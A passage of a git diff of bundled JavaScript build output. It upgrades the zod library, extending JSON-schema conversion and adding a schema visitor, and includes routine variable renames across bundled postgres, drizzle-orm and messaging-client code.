convertBaseSchema(schema, ctx) { stringSchema = stringSchema.check(z.base64url()); } else if (format === "e164") { stringSchema = stringSchema.check(z.e164()); + } else if (format === "credit_card") { + stringSchema = stringSchema.check(z.creditCard()); + } else if (format === "iban") { + stringSchema = stringSchema.check(z.iban()); } else if (format === "jwt") { stringSchema = stringSchema.check(z.jwt()); } else if (format === "emoji") { @@ -61072,10 +66027,10 @@ function convertBaseSchema(schema, ctx) { case "number": case "integer": { let numberSchema = type === "integer" ? z.number().int() : z.number(); - if (typeof schema.minimum === "number") { + if (typeof schema.minimum === "number" && schema.exclusiveMinimum !== true) { numberSchema = numberSchema.min(schema.minimum); } - if (typeof schema.maximum === "number") { + if (typeof schema.maximum === "number" && schema.exclusiveMaximum !== true) { numberSchema = numberSchema.max(schema.maximum); } if (typeof schema.exclusiveMinimum === "number") { @@ -61106,21 +66061,10 @@ function convertBaseSchema(schema, ctx) { const shape = {}; const properties = schema.properties || {}; const requiredSet = new Set(schema.required || []); + const additionalSchema = typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : void 0; for (const [key, propSchema] of Object.entries(properties)) { const propZodSchema = convertSchema(propSchema, ctx); - shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); - } - if (schema.propertyNames) { - const keySchema = convertSchema(schema.propertyNames, ctx); - const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); - if (Object.keys(shape).length === 0) { - zodSchema = z.record(keySchema, valueSchema); - break; - } - const objectSchema2 = z.object(shape).passthrough(); - const recordSchema = z.looseRecord(keySchema, valueSchema); - zodSchema = z.intersection(objectSchema2, recordSchema); - break; + assignProp(shape, key, requiredSet.has(key) ? propZodSchema : propZodSchema.optional()); } if (schema.patternProperties) { const patternProps = schema.patternProperties; @@ -61147,15 +66091,51 @@ function convertBaseSchema(schema, ctx) { } zodSchema = result; } - break; - } - const objectSchema = z.object(shape); - if (schema.additionalProperties === false) { - zodSchema = objectSchema.strict(); - } else if (typeof schema.additionalProperties === "object") { - zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + if (schema.additionalProperties === false) { + const propertyKeys = Object.keys(shape); + const patterns = patternKeys.map((p) => new RegExp(p)); + const basePatternSchema = zodSchema; + zodSchema = zodSchema.check((payload) => { + if (!isPlainObject(payload.value)) + return; + const unrecognized = []; + for (const key of Object.keys(payload.value)) { + if (propertyKeys.includes(key)) + continue; + if (patterns.some((regex) => regex.test(key))) + continue; + unrecognized.push(key); + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input: payload.value, + inst: basePatternSchema + }); + } + }); + } } else { - zodSchema = objectSchema.passthrough(); + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (additionalSchema) { + zodSchema = objectSchema.catchall(additionalSchema); + } else { + zodSchema = objectSchema.passthrough(); + } + } + const hasKeyGuard = schema.propertyNames !== void 0 && schema.propertyNames !== true; + const minProperties = typeof schema.minProperties === "number" ? schema.minProperties : void 0; + const maxProperties = typeof schema.maxProperties === "number" ? schema.maxProperties : void 0; + if (hasKeyGuard || minProperties !== void 0 || maxProperties !== void 0) { + let keySchema; + if (hasKeyGuard) { + const keyJSONSchema = typeof schema.propertyNames === "object" && schema.propertyNames.type === void 0 ? { type: "string", ...schema.propertyNames } : schema.propertyNames; + keySchema = convertSchema(keyJSONSchema, ctx); + } + zodSchema = checkObjectGuards(zodSchema, { keySchema, minProperties, maxProperties }); } break; } @@ -61163,13 +66143,12 @@ function convertBaseSchema(schema, ctx) { const prefixItems = schema.prefixItems; const items = schema.items; if (prefixItems && Array.isArray(prefixItems)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); - const rest = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = !Array.isArray(items) ? getTupleRest(items, ctx) : void 0; + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -61177,13 +66156,12 @@ function convertBaseSchema(schema, ctx) { zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); } } else if (Array.isArray(items)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = items.map((item) => convertSchema(item, ctx)); - const rest = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = getTupleRest(schema.additionalItems, ctx); + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -61203,6 +66181,14 @@ function convertBaseSchema(schema, ctx) { } else { zodSchema = z.array(z.any()); } + if (schema.uniqueItems === true || schema.contains !== void 0) { + zodSchema = checkArrayGuards(zodSchema, { + uniqueItems: schema.uniqueItems === true, + containsSchema: schema.contains !== void 0 ? convertSchema(schema.contains, ctx) : void 0, + minContains: typeof schema.minContains === "number" ? schema.minContains : void 0, + maxContains: typeof schema.maxContains === "number" ? schema.maxContains : void 0 + }); + } break; } default: @@ -61260,9 +66246,27 @@ function convertSchema(schema, ctx) { extraMeta[key] = schema[key]; } } + if (schema.type === "object" && schema.$ref === void 0) { + if (schema.propertyNames !== void 0 && !containsRef(schema.propertyNames)) { + extraMeta.propertyNames = schema.propertyNames; + } + for (const key of ["minProperties", "maxProperties"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } + if (schema.type === "array" && schema.$ref === void 0) { + if (schema.contains !== void 0 && !containsRef(schema.contains)) { + extraMeta.contains = schema.contains; + } + for (const key of ["uniqueItems", "minContains", "maxContains"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } for (const key of Object.keys(schema)) { if (!RECOGNIZED_KEYS.has(key)) { - extraMeta[key] = schema[key]; + assignProp(extraMeta, key, schema[key]); } } if (Object.keys(extraMeta).length > 0) { @@ -61296,7 +66300,204 @@ function fromJSONSchema(schema, params) { return convertSchema(normalized, ctx); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/visit.js +var RESOLVING = Symbol("z.visit/resolving"); +function visit(schema, fnOrHandlers) { + const fn = typeof fnOrHandlers === "function" ? fnOrHandlers : (node2, rewritten) => { + const h = fnOrHandlers[node2._zod.def.type]; + return h ? h(node2, rewritten) : node2; + }; + const cache2 = /* @__PURE__ */ new Map(); + function run(s) { + const cached2 = cache2.get(s); + if (cached2 === RESOLVING) { + return new $ZodLazy({ + type: "lazy", + getter: () => cache2.get(s) + }); + } + if (cached2 !== void 0) + return cached2; + cache2.set(s, RESOLVING); + const inner = mapInner(s); + const mapped = fn(inner, inner !== s); + cache2.set(s, mapped); + return mapped; + } + function mapInner(s) { + const def = s._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const oldShape = def.shape; + const keys = Object.keys(oldShape); + let changed = false; + const newShape = {}; + for (const k of keys) { + const mapped = run(oldShape[k]); + if (mapped !== oldShape[k]) + changed = true; + newShape[k] = mapped; + } + let newCatchall = def.catchall; + if (def.catchall) { + newCatchall = run(def.catchall); + if (newCatchall !== def.catchall) + changed = true; + } + return changed ? clone(s, { ...def, shape: newShape, catchall: newCatchall }) : s; + } + case "array": { + const mapped = run(def.element); + return mapped === def.element ? s : clone(s, { ...def, element: mapped }); + } + case "tuple": { + const oldItems = def.items; + let changed = false; + const newItems = []; + for (const item of oldItems) { + const mapped = run(item); + if (mapped !== item) + changed = true; + newItems.push(mapped); + } + let newRest = def.rest; + if (def.rest) { + newRest = run(def.rest); + if (newRest !== def.rest) + changed = true; + } + return changed ? clone(s, { ...def, items: newItems, rest: newRest }) : s; + } + case "record": + case "map": { + const newKey = run(def.keyType); + const newVal = run(def.valueType); + return newKey === def.keyType && newVal === def.valueType ? s : clone(s, { ...def, keyType: newKey, valueType: newVal }); + } + case "set": { + const newVal = run(def.valueType); + return newVal === def.valueType ? s : clone(s, { ...def, valueType: newVal }); + } + case "union": { + const oldOptions = def.options; + let changed = false; + const newOptions = []; + for (const opt of oldOptions) { + const mapped = run(opt); + if (mapped !== opt) + changed = true; + newOptions.push(mapped); + } + return changed ? clone(s, { ...def, options: newOptions }) : s; + } + case "intersection": { + const newLeft = run(def.left); + const newRight = run(def.right); + return newLeft === def.left && newRight === def.right ? s : clone(s, { ...def, left: newLeft, right: newRight }); + } + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": { + const newInner = run(def.innerType); + return newInner === def.innerType ? s : clone(s, { ...def, innerType: newInner }); + } + case "pipe": { + const newIn = run(def.in); + const newOut = run(def.out); + return newIn === def.in && newOut === def.out ? s : clone(s, { ...def, in: newIn, out: newOut }); + } + case "function": { + const newInput = run(def.input); + const newOutput = run(def.output); + return newInput === def.input && newOutput === def.output ? s : clone(s, { ...def, input: newInput, output: newOutput }); + } + case "lazy": { + const original = def.getter; + const { _cachedInner, ...rest } = def; + return clone(s, { ...rest, getter: () => run(original()) }); + } + // A leaf by choice: `parts` are regex fragments, not data positions. + case "template_literal": + // Leaves. + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + return s; + default: { + kind; + return s; + } + } + } + return run(schema); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/deep-partial.js +function deepPartial(schema) { + return visit(schema, { + object: (s) => s.partial(), + // Every partialed option now admits `undefined`, which the constructor rejects as a duplicate. + union: (s) => { + const def = s._zod.def; + return def.discriminator === void 0 ? s : union(def.options); + } + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/in-out.js +function withChecks(side, checks) { + if (!checks?.length) + return side; + const def = side._zod.def; + return clone(side, mergeDefs(def, { checks: [...def.checks ?? [], ...checks] }), { parent: true }); +} +function outSide(def) { + return withChecks(def.out, def.checks); +} +function inSide(def) { + return def.in._zod.traits.has("$ZodTransform") ? outSide(def) : def.in; +} +function input(schema) { + return visit(schema, { + pipe: (s) => inSide(s._zod.def), + // A default value belongs to the output side, so a rewritten inner type leaves it stranded. `.default()` widens the declared input type with `undefined`, and `optional` is what carries that across. + default: (s, rewritten) => rewritten ? optional(s._zod.def.innerType) : s, + // A catch value is output-side too, but `.catch()` leaves the declared input type alone, so the inner schema stands on its own. + catch: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} +function output(schema) { + return visit(schema, { + pipe: (s) => outSide(s._zod.def), + // A prefault value is fed through the schema, which makes it input-side, so a rewritten inner type leaves it stranded. + prefault: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/coerce.js var coerce_exports = {}; __export(coerce_exports, { bigint: () => bigint3, @@ -61321,9 +66522,6 @@ function date4(params) { return _coercedDate(ZodDate, params); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js -config(en_default()); - // packages/types/src/common.ts var uuidSchema = external_exports.uuid(); var isoTimestampSchema = external_exports.iso.datetime(); @@ -62253,7 +67451,7 @@ var Errors = { }; function connection(x, options, socket) { const { host, port } = socket || options; - const error51 = Object.assign( + const error62 = Object.assign( new Error("write " + x + " " + (options.path || host + ":" + port)), { code: x, @@ -62262,29 +67460,29 @@ function connection(x, options, socket) { }, options.path ? {} : { port } ); - Error.captureStackTrace(error51, connection); - return error51; + Error.captureStackTrace(error62, connection); + return error62; } function postgres(x) { - const error51 = new PostgresError(x); - Error.captureStackTrace(error51, postgres); - return error51; + const error62 = new PostgresError(x); + Error.captureStackTrace(error62, postgres); + return error62; } function generic(code, message2) { - const error51 = Object.assign(new Error(code + ": " + message2), { code }); - Error.captureStackTrace(error51, generic); - return error51; + const error62 = Object.assign(new Error(code + ": " + message2), { code }); + Error.captureStackTrace(error62, generic); + return error62; } function notSupported(x) { - const error51 = Object.assign( + const error62 = Object.assign( new Error(x + " (B) is not supported"), { code: "MESSAGE_NOT_SUPPORTED", name: x } ); - Error.captureStackTrace(error51, notSupported); - return error51; + Error.captureStackTrace(error62, notSupported); + return error62; } // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js @@ -62792,10 +67990,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose try { x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); } catch (e) { - error51(e); + error62(e); return; } - x.on("error", error51); + x.on("error", error62); x.on("close", closed); x.on("drain", drain); return x; @@ -62806,8 +68004,8 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose await connect(); socket.once("error", reject); socket.once("close", resolve); - } catch (error52) { - reject(error52); + } catch (error63) { + reject(error63); } } function execute(q) { @@ -62822,9 +68020,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose query ? sent.push(q) : (query = q, query.active = true); build(q); return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); - } catch (error52) { + } catch (error63) { sent.length === 0 && write(Sync); - errored(error52); + errored(error63); return true; } } @@ -62903,7 +68101,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket.removeAllListeners(); socket = tls.connect(options2); socket.on("secureConnect", connected); - socket.on("error", error51); + socket.on("error", error62); socket.on("close", closed); socket.on("drain", drain); } @@ -62969,10 +68167,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose const s = StartupMessage(); write(s); } catch (err) { - error51(err); + error62(err); } } - function error51(err) { + function error62(err) { if (connection2.queue === queues.connecting && options.host[retries + 1]) return; errored(err); @@ -63004,7 +68202,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose function terminate() { terminated = true; if (stream || query || initial || sent.length) - error51(Errors.connection("CONNECTION_DESTROYED", options)); + error62(Errors.connection("CONNECTION_DESTROYED", options)); clearImmediate(nextWriteTimer); if (socket) { socket.removeListener("data", data); @@ -63027,7 +68225,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket = null; if (initial) return reconnect(); - !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + !hadError && (query || sent.length) && error62(Errors.connection("CONNECTION_CLOSED", options, socket)); closedTime = performance2.now(); hadError && options.shared.retries++; delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; @@ -63341,9 +68539,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose errored(Errors.postgres(parseError(x))); } } - function retry(q, error52) { + function retry(q, error63) { delete statements[q.signature]; - q.retried = error52; + q.retried = error63; execute(q); } function NotificationResponse(x) { @@ -63376,9 +68574,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -63407,9 +68605,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -63491,15 +68689,15 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose } } function parseError(x) { - const error51 = {}; + const error62 = {}; let start = 5; for (let i = 5; i < x.length - 1; i++) { if (x[i] === 0) { - error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + error62[errorFields[x[start]]] = x.toString("utf8", start + 1, i); start = i + 1; } } - return error51; + return error62; } function md5(x) { return crypto2.createHash("md5").update(x).digest("hex"); @@ -63611,10 +68809,10 @@ function Subscribe(postgres2, options) { lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) }; stream2.on("data", data); - stream2.on("error", error51); + stream2.on("error", error62); stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; - function error51(e) { + function error62(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { @@ -63839,7 +69037,7 @@ var src_default = Postgres; function Postgres(a, b2) { const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); let ending = false; - const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open2 = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open: open2, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); const sql3 = Sql(handler); Object.assign(sql3, { @@ -63952,7 +69150,7 @@ function Postgres(a, b2) { } async function reserve() { const queue = queue_default(); - const c = open.length ? open.shift() : await new Promise((resolve, reject) => { + const c = open2.length ? open2.shift() : await new Promise((resolve, reject) => { const query = { reserve: resolve, reject }; queries.push(query); closed.length && connect(closed.shift(), query); @@ -63980,8 +69178,8 @@ function Postgres(a, b2) { scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) ]); - } catch (error51) { - throw error51; + } catch (error62) { + throw error62; } async function scope(c, fn2, name) { const sql4 = Sql(handler2); @@ -64025,7 +69223,7 @@ function Postgres(a, b2) { c.queue.remove(c); queue.push(c); c.queue = queue; - queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + queue === open2 ? c.idleTimer.start() : c.idleTimer.cancel(); return c; } function json3(x) { @@ -64039,8 +69237,8 @@ function Postgres(a, b2) { function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); - if (open.length) - return go(open.shift(), query); + if (open2.length) + return go(open2.shift(), query); if (closed.length) return connect(closed.shift(), query); busy.length ? go(busy.shift(), query) : queries.push(query); @@ -64085,7 +69283,7 @@ function Postgres(a, b2) { } function onopen(c) { if (queries.length === 0) - return move(c, open); + return move(c, open2); let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; while (ready && queries.length && max-- > 0) { const query = queries.shift(); @@ -64886,8 +70084,8 @@ var PgEnumColumn = class extends PgColumn { return this.enum.enumName; } }; -function pgEnum(enumName, input) { - return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +function pgEnum(enumName, input2) { + return Array.isArray(input2) ? pgEnumWithSchema(enumName, [...input2], void 0) : pgEnumObjectWithSchema(enumName, input2, void 0); } function pgEnumWithSchema(enumName, values2, schema) { const enumInstance = Object.assign( @@ -65611,16 +70809,16 @@ function mapResultRow(columns, row, joinsNotNullableMap) { } else { decoder2 = field.sql.decoder; } - let node = result2; + let node2 = result2; for (const [pathChunkIndex, pathChunk] of path.entries()) { if (pathChunkIndex < path.length - 1) { - if (!(pathChunk in node)) { - node[pathChunk] = {}; + if (!(pathChunk in node2)) { + node2[pathChunk] = {}; } - node = node[pathChunk]; + node2 = node2[pathChunk]; } else { const rawValue = row[columnIndex]; - const value = node[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); + const value = node2[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); if (joinsNotNullableMap && is(field, Column) && path.length === 2) { const objectName = path[0]; if (!(objectName in nullifyMap)) { @@ -67335,19 +72533,19 @@ var PrimaryKey = class { }; // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js -function toSnakeCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toSnakeCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.map((word) => word.toLowerCase()).join("_"); } -function toCamelCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toCamelCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.reduce((acc, word, i) => { const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; return acc + formattedWord; }, ""); } -function noopCase(input) { - return input; +function noopCase(input2) { + return input2; } var CasingCache = class { static [entityKind] = "CasingCache"; @@ -67882,13 +73080,13 @@ var PgDialect = class { const columnNames = Object.keys(tableColumns).filter( (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 ); - const setSize = columnNames.length; + const setSize2 = columnNames.length; return sql.join(columnNames.flatMap((colName, i) => { const col = tableColumns[colName]; const onUpdateFnResult = col.onUpdateFn?.(); const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; - if (i < setSize - 1) { + if (i < setSize2 - 1) { return [res, sql.raw(", ")]; } return [res]; @@ -72470,9 +77668,9 @@ function healthRoute(app2, deps) { // services/admin/src/lib/csv-parse.ts var CsvParseError = class extends Error { - constructor(failure, record2) { - super(`CSV parse failed: ${failure}`); - this.failure = failure; + constructor(failure2, record2) { + super(`CSV parse failed: ${failure2}`); + this.failure = failure2; this.record = record2; this.name = "CsvParseError"; } @@ -72480,8 +77678,8 @@ var CsvParseError = class extends Error { function isBlankRecord(cells) { return cells.every((cell) => cell.trim() === ""); } -function parseCsv(input, options) { - const text2 = input.charCodeAt(0) === 65279 ? input.slice(1) : input; +function parseCsv(input2, options) { + const text2 = input2.charCodeAt(0) === 65279 ? input2.slice(1) : input2; const length = text2.length; const records = []; let row = []; @@ -73001,14 +78199,14 @@ function buildApp(deps) { app2.addHook("onSend", async (request, reply) => { if (request.url.startsWith("/v1/")) reply.header("cache-control", "no-store"); }); - app2.setErrorHandler((error51, request, reply) => { - if (error51 instanceof ZodError) { + app2.setErrorHandler((error62, request, reply) => { + if (error62 instanceof ZodError) { reply.status(400).send({ error: { code: "VALIDATION_ERROR", message: "Request failed validation", request_id: request.id, - details: error51.issues.map((issue2) => ({ + details: error62.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) @@ -73016,23 +78214,23 @@ function buildApp(deps) { }); return; } - if (isAppError(error51)) { - reply.status(error51.statusCode).send(error51.toResponse(request.id)); + if (isAppError(error62)) { + reply.status(error62.statusCode).send(error62.toResponse(request.id)); return; } - const fastifyStatus = error51.statusCode; + const fastifyStatus = error62.statusCode; if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { reply.status(fastifyStatus).send({ error: { code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", - message: error51.message, + message: error62.message, request_id: request.id } }); return; } - request.log.error({ err: error51 }, "unhandled error"); - const appError = toAppError(error51); + request.log.error({ err: error62 }, "unhandled error"); + const appError = toAppError(error62); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); app2.setNotFoundHandler((request, reply) => { diff --git a/api/analytics/index.js b/api/analytics/index.js index 08b1561..d1e85c9 100644 --- a/api/analytics/index.js +++ b/api/analytics/index.js @@ -1540,12 +1540,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -1567,12 +1567,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -2234,11 +2234,11 @@ var require_thread_stream = __commonJS({ write(data) { const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (this[kImpl].destroyed) { - error51(this, new Error("the worker has exited")); + error62(this, new Error("the worker has exited")); return false; } if (this[kImpl].ending) { - error51(this, new Error("the worker is ending")); + error62(this, new Error("the worker is ending")); return false; } if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { @@ -2399,7 +2399,7 @@ var require_thread_stream = __commonJS({ } callbacks.clear(); } - function error51(stream, err) { + function error62(stream, err) { setImmediate(() => { stream.emit("error", err); }); @@ -2412,7 +2412,7 @@ var require_thread_stream = __commonJS({ failPendingFlushCallbacks(stream, err); if (err) { stream[kImpl].errored = err; - error51(stream, err); + error62(stream, err); } if (!stream.worker.exited) { stream.worker.terminate().catch(() => { @@ -4552,16 +4552,16 @@ var require_querystringify = __commonJS({ "use strict"; var has = Object.prototype.hasOwnProperty; var undef; - function decode4(input) { + function decode4(input2) { try { - return decodeURIComponent(input.replace(/\+/g, " ")); + return decodeURIComponent(input2.replace(/\+/g, " ")); } catch (e) { return null; } } - function encode4(input) { + function encode4(input2) { try { - return encodeURIComponent(input); + return encodeURIComponent(input2); } catch (e) { return null; } @@ -10898,8 +10898,8 @@ var require_connection = __commonJS({ var s = stackCapture("closeBecause called: " + reason); this.toClosing(s, k); } - closeWithError(reason, code, error51) { - this.emit("error", error51); + closeWithError(reason, code, error62) { + this.emit("error", error62); this.closeBecause(reason, code); } onSocketError(err) { @@ -11207,8 +11207,8 @@ var require_connection = __commonJS({ return ws; } } - function isFatalError(error51) { - switch (error51 && error51.code) { + function isFatalError(error62) { + switch (error62 && error62.code) { case defs.constants.CONNECTION_FORCED: case defs.constants.REPLY_SUCCESS: return false; @@ -11629,15 +11629,15 @@ var require_channel = __commonJS({ // If we close because there's been an error, we need to distinguish // between what we tell the server (`reason`) and what we report as // the cause in the client (`error`). - closeWithError(id, reason, code, error51) { + closeWithError(id, reason, code, error62) { var self2 = this; this.closeBecause(reason, code, function() { - error51.code = code; + error62.code = code; if (id) { - error51.classId = defs.info(id).classId; - error51.methodId = defs.info(id).methodId; + error62.classId = defs.info(id).classId; + error62.methodId = defs.info(id).methodId; } - self2.emit("error", error51); + self2.emit("error", error62); }); } // A trampolining state machine for message frames on a channel. A @@ -11728,11 +11728,11 @@ var require_channel = __commonJS({ } var emsg = "Channel closed by server: " + closeMsg(f); this.sendImmediately(defs.ChannelCloseOk, {}); - var error51 = new Error(emsg); - error51.code = f.fields.replyCode; - error51.classId = f.fields.classId; - error51.methodId = f.fields.methodId; - this.emit("error", error51); + var error62 = new Error(emsg); + error62.code = f.fields.replyCode; + error62.classId = f.fields.classId; + error62.methodId = f.fields.methodId; + this.emit("error", error62); var s = stackCapture(emsg); this.toClosed(s); return; @@ -13402,9 +13402,9 @@ var require_cors = __commonJS({ addOriginToVaryHeader(reply); } const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_, cb) => cb(null, options.origin); - resolveOriginOption(req, (error51, resolvedOriginOption) => { - if (error51 !== null) { - return next(error51); + resolveOriginOption(req, (error62, resolvedOriginOption) => { + if (error62 !== null) { + return next(error62); } if (resolvedOriginOption === false) { return next(); @@ -13820,8 +13820,8 @@ var require_ipv4 = __commonJS({ * Address4.fromWildcard('192.168.*.*').subnet; // '/16' * Address4.fromWildcard('*.*.*.*').subnet; // '/0' */ - static fromWildcard(input) { - const groups = input.split("."); + static fromWildcard(input2) { + const groups = input2.split("."); if (groups.length !== constants.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); } @@ -13908,12 +13908,12 @@ var require_ipv4 = __commonJS({ * @returns {String} */ toGroup6() { - const output = []; + const output2 = []; let i; for (i = 0; i < constants.GROUPS; i += 2) { - output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + output2.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); } - return output.join(":"); + return output2.join(":"); } /** * Returns the address as a `bigint` @@ -14629,21 +14629,21 @@ var require_ipv6 = __commonJS({ let host; let port = null; let result; - let error51; + let error62; const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { - error51 = "failed to parse address with port"; + error62 = "failed to parse address with port"; result = constants6.RE_URL_WITH_PORT.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = result[1]; port = result[2]; } else { - error51 = "failed to parse address from URL"; + error62 = "failed to parse address from URL"; result = constants6.RE_URL.exec(stripped); if (result === 